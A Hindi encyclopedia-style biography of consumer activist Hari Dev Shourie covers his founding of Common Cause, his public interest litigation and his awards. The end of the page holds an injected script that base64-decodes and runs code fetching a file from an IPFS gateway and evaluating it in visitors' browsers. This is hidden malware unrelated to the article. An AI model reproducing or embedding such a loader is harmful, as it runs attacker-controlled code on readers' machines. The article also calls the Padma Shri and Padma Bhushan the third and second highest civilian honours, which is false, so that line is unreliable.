हरि देव शौरी (अंग्रेज़ी: Hari Dev Shourie, जन्म- 1911; मृत्यु- 2005) प्रसिद्ध भारतीय उपभोक्ता कार्यकर्ता थे। उन्होंने कई जनहित याचिकाएँ लड़ीं, जिनमें से कई के परिणामस्वरूप भारत के सर्वोच्च न्यायालय द्वारा ऐतिहासिक निर्णय दिये गए थे। भारत सरकार ने उन्हें सन 1971 में पद्म श्री और फिर 1999 में पद्म भूषण से सम्मानित किया था।
- हरि देव शौरी का जन्म 1911 में ब्रिटिश भारत के लाहौर में हुआ था।
- उन्होंने भारतीय विदेश व्यापार संस्थान में महानिदेशक के रूप में कार्य किया।
- सन 1980 में हरि देव शौरी ने नई दिल्ली स्थित एक गैर सरकारी संगठन (कॉमन कॉज़ इन इंडिया) की स्थापना की।
- उन्होंने उपभोक्ता अधिकारों पर कॉमन कॉज़ द्वारा प्रकाशित पत्रिका "कॉमन कॉज़" का संपादन भी किया, जिसे उन्होंने भारतीय लोगों के उपभोक्ता अधिकारों की अवधारणा से अवगत होने से पहले ही शुरू कर दिया था।
- हरि देव शौरी ने कई जनहित याचिकाएँ लड़ीं, जिनमें से कई के परिणामस्वरूप भारत के सर्वोच्च न्यायालय द्वारा ऐतिहासिक निर्णय दिए गए।
- भारत सरकार ने उन्हें तीसरे और दूसरे सर्वोच्च नागरिक पुरस्कार पद्म श्री और पद्म भूषण से सम्मानित किया।
- उन्हें 'लिम्का बुक ऑफ रिकॉर्ड्स' द्वारा 'पीपल ऑफ द ईयर' से भी नामित किया गया था।
- हरि देव शौरी के बेटे अरुण शौरी पूर्व संचार, आईटी और विनिवेश मंत्री और भारत के सबसे प्रसिद्ध पत्रकारों में से एक हैं।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>